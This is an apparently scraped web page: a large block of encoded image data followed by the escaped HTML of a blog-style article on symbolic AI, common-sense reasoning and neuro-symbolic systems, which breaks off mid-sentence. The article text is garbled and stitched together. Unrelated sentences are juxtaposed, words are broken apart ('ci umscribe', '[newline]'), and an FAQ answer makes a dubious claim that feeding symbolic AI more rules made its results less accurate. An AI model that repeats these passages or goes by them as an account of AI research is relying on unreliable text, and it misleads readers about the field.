c5sDIavc7nttx2qadp8Vxpc5hS5bDeImWcMy\/MFHEcWbPcg9uRAStTsperVvNr2pzrbXTxGUWFnKgRLhPjLwwqjLIFUiFrYs5UkqApwwJq+k1nqwU0p5dBsA154RuoFtmfwCZIUkjL+NhSEeeQPgj5AME9n0\/RdS662unaLcSaWs1xZ6M1ncPepMsck7LpxaSaNXeSSRW+MUOMZw7Y492xYG33WvdQ7bbtrJ+zNOl1qc3TLDDbSsj8FZoYyHeNkLHirMcgZ9u4s9e1bqzYXFx+x9Asb9UhkNvGImUSErcEAu04w6tFbDBxy8ZsFfmMdra671yOnTXF5o+gW8wnuY1t1sbhkVFlvEhcuJS7KVitJGxHkiY4UHsN80K7vb7R7O61Szktb17eM3ELpxKOUUsvme35McEYzkGp2M3k0rW9Z6owTXn7H0vSp7S3ijkhea1uBNcn7svxA+VP9KgVmyCFJwvesidW3z+w7ib9lWnx0eqpDF9wSnwTSx8pShYMxSNnyM+atxDjjy3BlHt5DApZ\/FyIB\/MZqWWhY5toz9SYLXUda1W0jN9c3VkEsyZCq2y2sZkWNRIyK5maYZOBkYZ2ARhidwal1lbUNPudK21FcW+nas1xPbJP4RuLQR3qNFy8UiQsgtXTIVfEkTkAOXh9YkRSSSv4vP8A4\/Shd2Y5Y8sjHfuKnbr0DQ7zUOo1nHfztp+lOtlZJOBhwt1c4m8RVd5h4cYKwkAjyc989xY3W5t86lpdjfbRt9O1ESalcQT3Hw2I\/hks5nRwnjdiblIojhjjmew\/d6IwxgD08qS3nnyP0qVs66Jzq51\/q1b\/ALRuE2tplyI7yaKzto+fiNCkkjK7yM6oPEhjVRx5YkmTmFClRumlHVTpVmddS2XUfh4\/ixbcvCE\/Ec+HIk8eWcZ74xmr\/wDCFC9gvkBS37DAqOdl9BehLdiaEjyo3A86A+QqFEUfw0HpR+mKCs0ngvoZCJt23zBcvBot9cxD18SOPmmP+8or25umWOXQ0aJgyT3dkikeTK9zEP7jXjz7LdvHd9VobWYZjn067jce6smDXqnTnkfp1t5JpPFmhfSYJ2\/6aO5hSQfmHVh+lDp4\/nbvx4jifSiQChb5e3nRp6VSOYxfOjXy+tAvlQzMSBAhw0mckear6n6en9tVhphPjSeMfwIcR\/U+RP8Asq9X0pMagAAAADtgU8edUgGB\/fTkApJIVSzEADzJ8hTkwSc5Iq2Ia3Z9T+nt7u6XYlrvHSn1+F2jbTRcr8QGUZYcPPIHfA71m9S3LomjalpulalerDdavK8VpEEZi5VcsTjyAPBcntykRc5ZQcNZ9L+nlpuuTfNvs3SE3DK7SPqQtV8cuwwzc\/PJBxnz8\/cir3XNraFrWoW+o6mrS3UAiFmxPeF1mSVXUAHuXSIsT2+7TPZc1vg+Pd8f\/ns6OP8AgcvwN9JveuvrrXou7XeW0LrRptw2u6tHm0u2YLLeJextAjHiQGkB4js6eZ78h7im3G7tr2Js2vNwWEY1CcWtofiFPjyluARe\/c8hj8+3nWETZO1W2oNhWt3cfsy3gtIfDjdZZGjgWONFdWVg6lYkVlYEHJyPa203YWzV060+F1e5exjSJbWCSdCkaFhLw4suTzJYnllsOQMfLjomkI2aLemzm0qXXRuvSDpkEhilvBexGCNwAeLPy4g4I7Zz3H0zUW+9kyLGybx0RxOJpIuOoRHkkQJkI+buFCsWI\/CAc4AJFlo2zNC0m2uLGO+nuWlnWeZ5plaTIt1t0U4AAxEEUADv+I5ZiTg5Oj\/Tqe9fVCvKZLeO38V2hZkSOMRIyOyM0bLg4ZCpJ7NyAwKRpsVj1I2Te3ep2i7k06NtJVJJ2kuo1UwvDDKJ1PLvFi4iHPy5HHsTcvvzaAZ\/B3Po83gRwzzBL+EmKGXiUlb5uyESIQfIhgRnK5xU+zdsammqWs2rTTXGp3KG\/l8aPnJOIbZeJQrww0dtCWj48SGYYIJFYuTo503uNLs9Jea4+H03TW0yHhe4KQZtO\/b97lY2\/wA3p8w\/erUDeP5S6AYba5\/bdgIbwIYHNynGUM4VSp5YbLMoGM5JA8yKxlj1N2LeWl7fNurSoYtPuHguWnu408IiV4lZst8qu0b8CfxAZFWe5dibX3bdWEO4prybUdJgkS2vQfAmT4jAJV0VU5ZhBwo7FFOB2y+XY+gwxQC1vLmwltb25vILmKVOcU08krSn51ZSCZpVwwOAe3cAjQXF91C2xpu4v5NXWqW0VyNPOqTSS3EUccFt8+Hfk4Yg+FIcqCAEJYqCubv+XWzBNLbHduj+NCwSSP46PkjFuIBHLIPLt+fasQu0NpXssV\/aXN3aOmm29lC0dwYXggSKZYsA\/OjhbuT8WDkr6isPY9E+nuhzvPYK9oZ\/CIkKwmWNYUjVBHMyGVFVIIgCrgjwwwIbkxeg3LVt47Y0CZ7fXNyaVp8qRpO0d1dxxMsTSLErkMQQpkZUB8izBR3Iyd1u3bNlbWl3d7i02GG\/jM1rJJdRqs8YUMWQk\/MoUg5HbBHvWva\/062dubcNruXVbieS6szaPCFnXEfg3MVzFg45BTJBGSvLicHtkk1bbh6edP8AdOpWOjaxGsl7ommrBAkkaMy20pwpDOrYflbMQyEOvDzAPd6gbA\/UDZQt4503dosouBL8OE1CH78xkq4T5sMQ3Y4PY9jTW3ptEF1O6tI5x3a2Dj4yP5blvKE\/N2kODhfPse1YDcGxtM1zUZLmPXRa2l+IW1OBCD8VHDkR4bPyYb1Hbu2QTxK2Wv7E6c6zuqw0\/VkjuNZkszPBDLBHOjW1rKfE+WRGRRyv1z5MeS8T8pNLQbSd57bXVp9Bn1myt9QglSL4eadEkcusZUopPJgfGRQQO7HAqb7d+1dOtoru\/wBz6TbQ3CNNDNNexokiAgF1JYAqCQCfLJHvWD3Vsew3FFqr224bmxurxTKjiRStrdGHwEulxh1dUzxw4Xlg4yAQ\/cGxdm7h0ODbWoQwxWlokNtbxIsZWHwnjeJAjAo2DGnysCCO2MGkGRbemzlkaAbs0fxEmhgZfjo8iWYExIRn8TgEqPNgMisDp3WHYOoAvc67BpSeNHbxvqU0VsJZHtLe7CJzcFz4N1GTjyw+fLuubpttCXS7bQn1K6TSbO4N3b2SGFba3ZclgB4eFBaTkBnKHHh8AMVZN0N6euHt41vM8ZhIouyOIl0yHTW8h2\/yaGMAejZb1pXQbpa7m23fXF\/aWev6fPPpgzeRRXSO9t3YfeqDlO6P5\/6jexxjD1C2GyLIN66Ewkha4Q\/tGHDRqzIX7MflDI6k+QKMPNSKx+g9NY9GvNwzvrVy9vrcBtooYh4Zs4zcXUx8N8luRa6Y8j3BUYwMKuMXoTsaK00u1g+PhOj6kNYs5IpljMd2Gu3WQKqhMBr2chOPD8IxgYM7yDI6j1Z6e6fcQQybq04ia7itGmFwgihaS0kuo2kckKqPDEzK3cElQPPNZcbn2xNKYodw6c7C9On8RdIWFyAT4JGf85gE8PPsfasMele2RJFKXvCY7k3p+8Uc7lrWe2klOFHdo7mTIGF5YIA75uNvdPttbUlkl0WyhgaW4e5PC2hjwSrjiSiKWUeI+ORY\/N5msWwqbe742VZGYXe79Ft\/h2uEl8a\/jQRtAnOYMSfl8NMs\/wDqgZPrjH7g6k7H25b2c+o7kslF+tvJb8ZkPOKaeKFZgc48LnPGS2fw5PfFY7cXRjam6bL9ma5cahcWKx3cMEAkRRbx3MUkcixtw5L8krgHOe4yWCqFz+4dqabuO4sp7+W5QWMsU0aRSBQWjuIbhCTjIxJAh7EevvU8pIKtJ99bMhmgtpN1aV41zJBFFGt2jMxnGYuwP764ZT5MCMedNl3TtaO9l0t9z6Ul9bsEltmu0EkbFSwDKTkEqpIyPIE+hrCad0l2zo97bajY3F8s9pDbW0DPIjmOKBYgsYJXJQiFcqSQOTleJYmhuelO059Vm1jwZY7iW\/j1LMQjjPxCPzDF0USOPEw\/F3YZA7Y7VLKYkd\/8SdlNBDdjcNisMic5We6hX4bvGOMo55Vvvo8gjsWAPmMncb52hb3Elrdbl0yCSK2W8fxLpAvgOwVJOWcBSWUAk+ZHuKC56e6LJd2l9b3N7aXNjYJpsE0EihkhSRHHYqVZsxqMkHtnt3qw1LpXtTULOOwmhmNvFbw26xvwmXEPDwiRIrAleGO4OQzZ74InfCTJDeW3J9zQ7QtNUhudSms5r\/woXV\/DijMIJfByhPxERXI+YEkemcuwzWv6TsPRND1mLXNPM8bwW01pBbqVWCGOUwGTgqqMEm2iPmcYIGASK2Bq58tb5AmSh\/dz7UUlD+6fyqNEDUHzqR5VB86xR6vEv2VGA6v2YOO9nc4\/8Fen7CL9m6DqGkGXm1juuL1\/CtxqEVyi\/otworyx9mOTwerNjL\/qW05P5ce\/8M16g3B\/kGua9EXHG6utB1RR6chdpC+PyW3iJP8ASFN0cbzujP3NGnpS2GPKmJ6VuOajBCpyY4A7k0NsC4Nw64MnkPZfQf7f1pc48Qpa+Yc5f\/sjGR+pwP7auh5CqwzY6N5Y4Y3mmdUjjUszMcBQBkk0CZ7Y9ew7VY2zHWLgXhP\/ACfEwa3GP8+w\/wBJ9VBHy9u5+b0VqrAvbYSXTi5uFkSMYMMTLg\/9ph7+w9PMjPYZBOy0lRhcU5MeRquIOSsRqu1bTV9WstZku7q3nsmVgsEgRJeL81EgweQDd\/cehGTnRtJ3X12l6rXGg6l0w02PYqyyrDrg1OMTtGFyj+EHZiScrxKL55JGO+z7q13dmn7k0Sy2\/oj3em+KJNYlVMskUjrFGF5EeRaSVuIZgIApA8QMN8HiTib16e\/J0cbs+XA1MrLub5WX766X4BoXSTam3rTTbXTmul\/ZkUUEchMYeRI4IIV8QqgycW0bHGO+fLtxHSukWh6buGDc51bVLq7tXhaBLmSN4kEUd3GvbgCDxvZfIj8KeXzFrDVN\/wC69B1rW7OLZuqa7GmoOLFLePw8W66bBKAjccSFp\/GXOSAWAJHYU+26na5NHp6tsC\/iuNQvGsUgkn8NxIAsv70YBHw3iyZzx8SIxZ5HNdE2jF\/qXTaG+3LYarHcubJL5r69t5ZSVYg+IkcSBcAG4EMzHkPmt17HmxpFj0Z2\/okUS6Fc3MUsbwDxJlhcBI47OPsvh4J42EOMjHJnPbK8Z251B3drcGrTXXTi40\/4DSor61SW85PezSeLiBcIArKYuLZPIF1PHvU2G+926kZb+DZ9xFBZW1xLNbzmWNpiPDkjCEw5MhhdfkHYO8kZJMRJpDMj6N7eiexaLUNQVbKKCFUzCRwiFrjv4fINysoSWBBOX7j5eNtpvQXaGlaVZ6Zp13qFubG0jtIbmN4lnRUgtIVYOIweQWxiOfLkW7YPEZeHe+qnTb6\/m2vch7aG1eKJC7FpJnKGJuSKFaMqGfuVAYHOO9alF1Y31c6roupDYOq22mSaHc3moaaYZHuknZrDwVJEOA6ie4AQN8ypIxAKcV1A3rUdgadqO6F3a2oahDeiOziPhSoqFbaSd1BHHJDfEyhxnBHHsCM1by9M7GZ5Zl1nU4pPi3vrco8Y+GleaWZyh4csFppB8xPynj5ZzZp1A3CLiG1l2i8SyXk1rJcPJL4cCxtMBJJ9yCBIIQUwCD4i5IyvLGJ1X3bLE2oQdOdQ+GEqwJA5ZJpOTWv3uWQKqKtxJyBOQYXzxw3HYAOhunbeWxv9py3FxqGmoIYFv7uNImT4O0tCXIt35ERWURA492ZzlQQF2uTYEc1lp1uNXvbeSw0w6YJbdkUshCAsMqSp+Re6kZHY5wKt7PfGtNHqp1PaNzbTafb2s8UUcwmE5lQEpzChVKvyU57BV5nCmrG66n6xa6btq7\/kZdm51y0S6uLEmX4i1BntonUIsR5FBcM5zx7RHyBJV+gWg6B7XAt4m1PWGht5I5TELoKszJavbFpAF+ZmikKlhxyFQeQwc9rHTTTNY1G81OTVdTgmvYIYHMUyMU8KR5EaNpFZo8PITxUhew+XzziNJ6j7u1qYqmyJNPtonsi891K5LrPcSRsEVY8EqkasTy7eIuQPWb7qVuHSdLtr6bZl9ctLI0LwqXM8XGymnV5FWHH3kkKQrjtymXsGHAsFWnQnb9nA9vDruvBJZpppc3igzNJdPc5fig5cXdlXOTwJyScEZGx6TaDp+uprlveXwaLTbvSo4CYyiQ3AtQ+G4cyQLKHjliACwxjiF1\/Rupe\/IOWmahszUdQu31zULVZ5IWto47Y6vPb2xOIyTGtsI5PEAIZQCTluR2jUt6avp2qSWS7ZmngivLe3eZHfl4LrEXucCMgxp4jKSGzyQ+QyQr0C0uekegyT6jdW2oapZyahIhIt7gKsUa+FmOMYwqHwIsjzwuAQO1Kh6P6Jb3K3MOr6qAiSRrG0sbIqyNC8nHMeULNArFlKnJY+ZzTdP3xuG81hrafbjQWU1zGlvJIsqMsRRiWYFPxFlwowB3wSDgNjbPqVvHU5tOtLbp5NG9\/aJdTSTXEscdoTJaKYWJgyJALmQkEADwG8\/mC5DK6T0r2zo8GiWsCSSQ6FbpBDHKI2WbjAsPOQcAGbiiHIx3H6Vb7W2Fd7e15Lv4v\/AJPsLaa1tA0yyzTLM8buZCIUKYaPsOUgOexUDicXF1K3rf6Fuic9OdVsrjRNKuZ7crKGkvblLdJFSFDESeTu6q3BhmPHEklRl9O33rU77hGo7Ou7dNIVmtmQu4uv8quoFGSihSRbRynuQEuEJOByKsF6Ny9DS2FaaN57nmtNO1WLa0iR3OiXuoy2chcSpdReD4duWCEDlzf0z2yAeJB1xuom9pzb6VFtXV7e6bXBbT3MkHiKtuutfDsV+6UGJ7VWdX45VGU8mIL1ih1FvIUtq0XXt\/7i0DWNVsI9pXmqRQ85LRoEkGOKWuEY+HwAdppSpL5zEwGe4WxuOqe501KHTY+mepy+IbiR5kmAiSKN4gg5svEyOkrP4eeSmJ1wfxCdxKuht5Ut\/WtLtt3bkVdQnutK8RX1cWltkSJFBb\/BJKZOfg8mUyh05FccmxnArD7t35vv9gbti0bZ17p99Y6Df3Wl3fBp2a8isrWWNPCMXFmMl0yKAXBNu4wScCeUL0dHfyFJb1rRl6l678ZPBebDubO2gedVnnuT974cwjC4SNirOpEi8sArnBwOVO2pvLW9069cR3G2b\/S7CyFzGfHQ4ucR2ckcoYqOGPHmTjk942z3BVZZY2Bt7edKkrmln1d3Nf6dZ6nbdN7meG8ghnDQ3EhULItl+EtCoPH4yQsSQALWTv8Ai4ZHUeoO47SxtJodg3NzdXdyls9st2M2+bZ5ebycPD4F0EanPfmp7H5DK40m7H8NLatAbfW7otemhTaF3d2r29oI40cRpFKXuPGDSOgy\/FYvlBYDt3797TTeou+9SstG1W56fPYR3umtd3VrJM\/OGZobKVIfEaNFDj4i4UqyjJhYZUgip3Ch0WTyzQfu0ME\/xVpDc+G6eNGsnF0KsuRnBUgEH6EZoh+GubLkIGoPnRUJ86xR6vD\/ANmCNJOrFor+Rs7hf\/EvH\/8AavSPU2QWkmma1I5Uz2N1pzj\/AFpkeK5U\/oLWb+2vNv2Y1B6pwH1SxuXX81UEf3V6Z602Bn2LqU1upMunzxXcAH+rLmGQj8klmP60Oji\/3I6WOy\/pTEHrSUIZFKtyBGQc5z\/vqpGIiKp+NyEX8ycf\/wB\/SqRzWCs8OZLg4JkOFIP7gyB\/HJ\/X6Vdj8Pf0pcaqihEGFUAAewFWmsao+mWYNpGJr24kFvawkkB5WBIyR3CqAXYjuFViMkYqkrRV5IdYvX0O3lIt4gDqDr37HusAJ7cnHdvUIRjiXVqzqKqKqIoVVGAAMACsbo2nLpdklp4jSvkvLMww00jHLOfzJPbyAwBgAAZJPSq4kaPX86bH5mkj\/bTUPerYg5DisLr+5r\/Rb62s7bQ\/jEleFXkErBz4kwiPhoqtzKA82yQAoznGSuaTzpq+9Wwa9Gq61vTVdFi2\/FJtaW8uNZuIIbqOCVmW0R5oo2csUHPh4vMjiDxRj2VWK4y937LZX98z7NuNRn0y3upbKZIy7yFWvhJFGUiOP\/kIVIBY\/wCURA5PHxOgg9sihs7SzsIBa2NpDbQqWKxQoEQEkkkAdu5JJ+pNVlKNAbqbr+nLdeLtkX7RJLPELaSUm5+a54wwDwB4pxbqSxxjxUPfILZO86ha1YaBZazebQmaW5M5ktre5+JZBE3IgNFG4JMCzSKMrl41jzycEbXJpemXF\/Dqc2n2z3lupWK5aFWljBBHysRkdmYdj+8av19qpvbTQjvvddjqUNlqOzWRb6H4lZmuz4Niyraq8U7iLH4rh+LDkW8NvwgErePvzXX0\/SLu12kUuNStbC4e2urmSB43uZAjRgeCSxizykyFKrjt37boD6VK9j+dagc9l6m7ihi5y9Pr5CdUjsYx8VHIWiZyrSuFyUZAAxQ4JByCQCaxun9WN8pocOoan03R7iCyhuL3hqSwhJCIzIscUg8VuIdx5d3jMYya6vRVoNR1zemoaMl81voAufhEhEEfxBSW4eQxgEKU4rGOZBcsAGUggDvWEtupOu3ep6bCvTmXxrvCGaS8RRbQO0XIF2UfOeRPg9n+6OQBhq6WCPKppy6DkE3VPd+h753JoFzs7UdT0+21dEtLhI2iWCxGkw3LsvGNjP8AfJcpkZ+d1QlSVB2bR957g1rbN5r0uzL7SLq0uvAjsbmZVefgFDksUwsfic1D47qvPsCMbzVU9hpeo78uLHa0e4f5PXE0stnPOlovLk08Y7QAhDnkQ2GAIIGRyBBrAw9T92Gwv9VbYdy0tlpkV7LZi6Lp4gN4ZI4JEhImk+4jHZip8RMce\/LqVQx9qWw5\/ZdR7671LXtLG2lil0iCxuEU3bEkXNzcQYlHhYj8MW5kYqZBxY4yFyU3nUnV7fWJrGPacs9vAYRJdxXDcO6oXMYKcpO8i8QozIA3EEqVrebLStO017iWxsLa3e6kMs7QwqjSuf3nKgcj3Pc1c+dAc\/0vfe6tb2xJrMuyrvSpmjMkaSXMUgjARHxMF+8jcl2QoI2KlDkDyrGXnVncUMggtNiTXBVJmeX4wxRYiuli+VnjBZXjLTI2MPjgpzkjqB7mhPnWOocrk6pbp1Kx1ZYNkXOmtEt2tlPczku7RO0aAQiNmEjfLIkbhQyHOcAsctvjfm49r6rbafpOx5tZguTCgnS78EI7x3LkMXTgqj4ZV5FwS08YwCQH30+VKesWhy6fq1rsU94sfT+9lt7WW6ijkWcs04jgjliIjVC4DFnRsA8GjKsOTBatda6r7rt7bUFt9gXri2s7pormzldzLLGmoMpiDW5UhvgYwGIIJuo8KwwX6sfOgY9iPrWLSrl27ur+t7Qg3Bd3Wxna30Oxl1OOaS7dILiJPi8R+J4J4yn4MHjxIAmX5icBujBkY+JG3qRlT7HyyKDUNN07U0SLU9PtryOKQSok8SyKHHkQCDg9yM+eCaYewAyTj1qWfMXosL\/StN1KSCbUNPtrqS1cSwNPCkhikHfmvIHi2QDkeWBjFNYBhhu4HfBpr+VKNRy2yRFBFawxW1tGsUMEYjjiRQqKgGAoUdgMDGBQuT58j9frTT50pz6VKgtvwke\/r7f8f8etLIIGOR9aY3lS27VG0dC5MYOBig\/do5PKgzgVK0QI8qg+dFQHuaxR6vE32VlV+rdsrjINhdD\/ANFeutasItY0OTTZssmoWU2nSHzIZkIB\/PIOPqa8jfZU\/ndtf6lc\/wCGvZMkZNveW0Qy8Uvip+Z+cfxyKa\/G5ZysX0w1dde6e7f1LxklkewijmZe48ZF4SD9HVh+lbEctcxxkZVAZGH18h\/AtXMugV\/Amm7i2tbriLRtauVt89v8neRwpx9Xjlrplvhri4k92Eff2Uf7ya1Espqr1ckgDvWB0Rv29rV1uJ\/mtLUvY6aMAggECecH+k68B\/RjyOzmi3XeXkWmR6bpc7w3+rTrY20yYLQFgS8wz2ykau4B8yoHrWY0+ytdNs7fT7KJYra2iWGKNRgKijCj9AB\/ZVMaU6LtT386ap7dqQD7U5D2xVoRq01D70lT2pi1TGg9T601T9aSCMedNU\/WqynDlNMB9aSp8u9MBHlVpRDQe+aapHnSAaYh9M1uVo2jpanNECa3CkGD7mjB9zS6kH3NblMypzQd\/OpDe9MD5H6VHI+1DyFVyFAFkmoyBUcqjOaArJ96gn2NUT7GhpWhBNDUk96En2rNJDH60pj9aJj9aWx+tTt2e9IJpTedMOMedKY+dYrIG8qW3nRsaUx+tRtFLc0tqJj50tj2NSypBY+ZpDGmuaSe5qeVAW86B\/WjPnSzj1qVFLegPkKJjnNDUqfRXpmgoie1CfKsVl4n+yp\/O7a\/1K5\/w17Qx4WpEDyniwfqyn\/c38K8X\/ZU\/ndtf6lc\/wCGvZ99iMxXWf8AMygk\/Q\/Kf7\/4U\/V0cfzuV7XYbY6w6hYKPDt9SuLm0Ye7tHHeW\/8Ajvx+h9xXWrJhJbrMB3lZpP8AxEkVxzqy0ug7vm1u1iZ5F0221yNQezSadO3ig+\/KC6Zf99dfsZ7ZdIt7oXCNbrbrJ4oIKleIPLI7Yx3zTjGXPVY6xVtU3nd37KjQaJALKBwfmFzKFknyPLtH8OAf6Tj6Vso8q1nYSTNtm01C6tzBc6mG1KeM\/iRp2MvAn14hwv8A3a2VT6VTFgammoaUvtRKcGqykuF9qYvlSgaMHODVcQehpq1bqcGmqciqwHr6UxT3xSFNNU1TGmdRqe2aSD60YOKpKcPVvLtRjvSAfWjVh2rcpmg4osg0GRVVqUuezAcVXKgBxU8hWt7MYYH1qiyj1ocj3qqNhPKoJJPY4qCQKot7UDaaE+dRUFsUrS57TQE4qi3nmlnvWLTQzeuKEn1qSRigLDFYtKhY4pbH+FSxHelsw86xlSQ3btSmOTRMQBSmYHtUrYQTS2omOaW3YVGgDtntilnsKlvahbyFToCT60tv7qNvOlOR\/bUrSoB3zUVOMVFTtMLH0oWoj50DedZL0eKPsq\/zu2n9Suf8Fe1riIXEMkJ8pFK\/lmvFP2Vf53rT+pXP+CvbIOc0W83Rx\/M551EiSRdr63NFkrfPpd0fQR3MbIVP0My2\/wDYB61h9Bu7mbonqG0TMfjtNkbaYkIwcySJBA+PTlHPC361tu\/tHudY2huLRLMn4trY31iAcffxkSJj2IkjXv8AWuZ3urGPeu3brTYZDpPUCbSNTUnzimtpFkIPp8yMg\/OH+x7Zx\/VNO+xqIkVEGFUBQPoKeDnyNJPlTEPYVTHqkbn2owfWlqfSjU+lV2Dkb3NMU1bqxBp6n1rcoMU\/WnIw8s1bqaYpwarKFwD9aYrdvOkK3vijBxiq40Hg9vOmBh70hW+opgPtVJTNBx3owfXypIPeizWpdjZwcUeTSA3vRBvrW9tH8u3cCqzmkhvUip5ijcGjanOKVyHvVch709wtGEj1qs0vmKgtn0o3BoeT70DP6YoeX1oS1Z2aS3ehJyfKqJ9zQsRnzrN5FtTEY86An61RbPtQM3Y+VZtZQx+tLJ\/sqWalM3p2qeVCGbv50tqkntQFqllQEmlu31omOO9KY5qdoCTQk1JPagY9qlaAsfrSWOaY57Glen61OjSWPfFCfKpPnmoJqYD9aHzqWPahrNKvFP2Vf53rT+pXP+CvbH7x\/OvE\/wBlX+d60\/qVz\/gr2ufM\/nReq\/aPOtb8CJ4bzHZG8OQ\/0G7f34NcB1vU7naG0Fs7WzWa\/wBhbqRrS2OeRs5Q8kSjHoVdoh6\/KR5ivQ0sSXELwSDKupUiuEdVpDtjWtN3Ne83s7y7tbTVF7cDJb3SXEch9cmI3iZ+opz2Z4fV3XTdSs9X0+21PT51mtruFLiGRfJ0dcqR+hq6WtA6UzHRU1fp1dOTLtu7\/wAkznLafNl7dsnzx88fv92M+Yrf\/wB6tysWaujlORTAfWkRsMYOaYpqkpG0xGx+VJB9aIGqY0LkHHeiBxSEcD3pqkVSUHK3l2poYHFWwPrTFYdqpjloHg4pgakB\/qKMHFblBwajDUgN9aMPVJYZ3Kpz7GlBs+uKLn9f7K1sGAmp5fSlhqnl+VPZy0fL6VXL6UGfyqs\/lT3Buj5fSq5Gg5flUFqWxuiyKgtQ59qEsM0tlzEWoCSPOoLfWgZhmsXIC5UDN51Bb3oGcYI8qxaSi4Halse\/51TN50snNTtCSc0sn1qSaU7f2VOhUjZpZPrVE+tCTmsWhBOKBzn9aImlSHGalQBvP9KipPmKj1rFoVQHvRE0J7CsAJ86iqqiQKTLxR9lY46u2h\/6lc\/4a9sHzrxX9lu2nj6tWrPHgfBXI8wf3a9p4bOMUWXa\/aPMn6VpvUrZ8O7tv6hoXBPFv4edsXxhbqL5o8\/Q4Kn6E1ufFvarTVYJZbJ3QcXgxKpz6r\/\/AChLG6rl0Wvr8Fs3rEoWMPbJo+4QflCRSMEZn9hFcLk+ymTyrsAIxXJtvWcA3hunpvq0DXGibqtn1m3j7YjabKXMZ75GWBYY7DBOckGtr6Y32qz6BPoOtkyajty6fSbicsD8QIwpjk\/No2jJ\/pFq3G629Tg01WHvSlVs91\/jRhWHpWowaCMUWTmgUN7UYDeZFUlAwQKYr486UASPKi+b1FUlB6tRA\/XtSk5EeVM4t7fxrcoMBFGJD75pIJ9qMd\/Styg5W70YarcZo1J7VuUHc8edECRSu\/tUgn0rUtM3l9anP0\/jSeR9RU5J8hT8VBvL6VXL6UrJ9jVZPsaN0G5+lQWxSy30qMsfIUboM5Z+tCXwaEk+v8Kg8vPFK2jYi2fShLd6Bi2T2oDyrOyEzn8qAn61RyPShIb2rFoUSfP0oCfaqYMBnFAxbGQKxaEO49KWTVHJ9KE58sVi0IJ+tCT7URBx5UBB9BWNgDOQT3pfIse5o2RifKhKMMECpAJ86jOKIq3tUFG9RWAAmhJzRFW9qjgR6VmlQ1Bx6VJB\/wBXNRwajRaf\/9k=' alt='https:\/\/www.metadialog.com\/' class='aligncenter' style='display:block;margin-left:auto;margin-right:auto;' width='400px'\/><\/figure>\n<p><\/a><\/p>\n<p><p>At birth, the newborn possesses limited innate knowledge about our world. A <a href=\"https:\/\/www.metadialog.com\/blog\/symbolic-ai\/\">newborn does<\/a> not know what a car is, what a tree is, or what happens if you freeze water. The newborn does not understand the meaning of the colors in a traffic light system or that a red heart is the symbol of love. A newborn starts only with sensory abilities, the ability to see, smell, taste, touch, and hear.<\/p>\n<\/p>\n<p><h2>Awesome Libraries to Train Large Language Models<\/h2>\n<\/p>\n<p><p>Examples of common-sense reasoning include implicit reasoning about how people think or general knowledge of day-to-day events, objects, and living creatures. This kind of knowledge is taken for granted and not viewed as noteworthy. Just like deep learning was waiting for data and computing to catch up with its ideas, so has symbolic AI been waiting for neural networks to mature. And now that two complementary technologies are ready to be synched, the industry could be in for another disruption \u2014 and things are moving fast. You could achieve a similar result to that of a neuro-symbolic system solely using neural networks, but the training data would have to be immense. Moreover, there\u2019s always the risk that outlier cases, for which there is little or no training data, are answered poorly.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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width=\"307px\" alt=\"symbolic reasoning in ai\"\/><\/p>\n<p><p>This spawns the apocryphal story about the CIA translating The spirit is willing, but the flesh is weak into Russian and back into English, resulting in The vodka is good, but the meat is rotten. To apply legal  reasoning, a judge must identify the facts of a case, the question, the relevant legislation and any precedents (in common law jurisdictions). A judge uses legal reasoning to reach a logical conclusion, such as deciding whether a defendant is guilty or not. Deductive reasoning is deducing new information from logically related known information.<\/p>\n<\/p>\n<p><h2>Measuring progress in Symbolic AI: the biggest surprise in AI trends report from Stanford<\/h2>\n<\/p>\n<p><p>&#8220;With symbolic AI there was always a question mark about how to get the symbols,&#8221; IBM&#8217;s Cox said. The world is presented to applications that use symbolic AI as images, video and natural language, which is not the same as symbols. He is a long-standing researcher in Knowledge Representation and Reasoning (KR&amp;R), and is the past President of KR. His recent research includes using KR&amp;R to tasks in vision and languages, thus combining symbolic and neural approaches.<\/p>\n<\/p>\n<p><p>They are our statement\u2019s primary subjects and the components we must model our logic around. This step is vital for us to understand the different components of our world correctly. Our target for this process is to define a set of predicates that we can evaluate to be either TRUE or FALSE. This target requires that we also define the syntax and semantics of our domain through predicate logic. The Second World War saw massive  scientific contributions and technological advancements.<\/p>\n<\/p>\n<p><p>In contrast, a neural network may be right most of the time, but when it&#8217;s wrong, it&#8217;s not always apparent what factors caused it to generate a bad answer. And finding important correlations in the data is also important, useful and has plenty of useful applications. But cognition, and specifically human-level cognition, is a lot more then observing some pattern in the data. Not withstanding all the misguided hype and all the media frenzy, no plausible theory has so far been able to demonstrate that the kind of high-level reasoning humans are capable of doing can escape symbolic reasoning. Symbolic AI is a sub-field of artificial intelligence that focuses on the high-level symbolic (human-readable) representation of problems, logic, and search. For instance, if you ask yourself, with the Symbolic AI paradigm in mind, \u201cWhat is an apple?<\/p>\n<\/p>\n<p><p>But if we add axioms which ci<\/p>\n<p>umscribe the abnormality predicate to [newline]which they are currently known say &#8220;Bird<\/p>\n<p>Tweety&#8221; then the inference can be drawn. If these two sets of premises are<\/p>\n<p>satisfied, then the rule states that we can conclude that John owns a car. The rule is <a href=\"https:\/\/www.metadialog.com\/blog\/symbolic-ai\/\">only accessed<\/a> if we [newline]wish to know whether or not John owns a car then an answer can not be deduced<\/p>\n<p>from our current beliefs.<\/p>\n<\/p>\n<p><h2>Enabling machine intelligence through symbols<\/h2>\n<\/p>\n<p><p>How to explain the input-output behavior, or even inner activation states, of deep learning networks is a highly important line of investigation, as the black-box character of existing systems hides system biases and generally fails to provide a rationale for decisions. Recently, awareness is growing that explanations should not only rely on raw system inputs but should reflect background knowledge. Another way the two AI paradigms can be combined is by using neural networks to help prioritize how symbolic programs organize and search through multiple facts related to a question. For example, if an AI is trying to decide if a given statement is true, a symbolic algorithm needs to consider whether thousands of combinations of facts are relevant.<\/p>\n<\/p>\n<div itemScope itemProp=\"mainEntity\" itemType=\"https:\/\/schema.org\/Question\">\n<div itemProp=\"name\">\n<h2>Why did symbolic AI fail?<\/h2>\n<\/div>\n<div itemScope itemProp=\"acceptedAnswer\" itemType=\"https:\/\/schema.org\/Answer\">\n<div itemProp=\"text\">\n<p>Since symbolic AI can&apos;t learn by itself, developers had to feed it with data and rules continuously. They also found out that the more they feed the machine, the more inaccurate its results became.<\/p>\n<\/div><\/div>\n<\/div>\n<p><p>There are a number of ways of representing real-world events and their effects in logical languages such as Prolog, such as the Event Calculus, which is a logical way of representing events and their effects developed by Robert Kowalski and Marek Sergot in 1986. In Germany in 2017, Bernhard Waltl and other researchers at the Technical University of Munich trained a machine learning classifier on 5990 tax law appeals to use 11 features to predict the outcome of a new tax appeal. Today, nobody would dream of 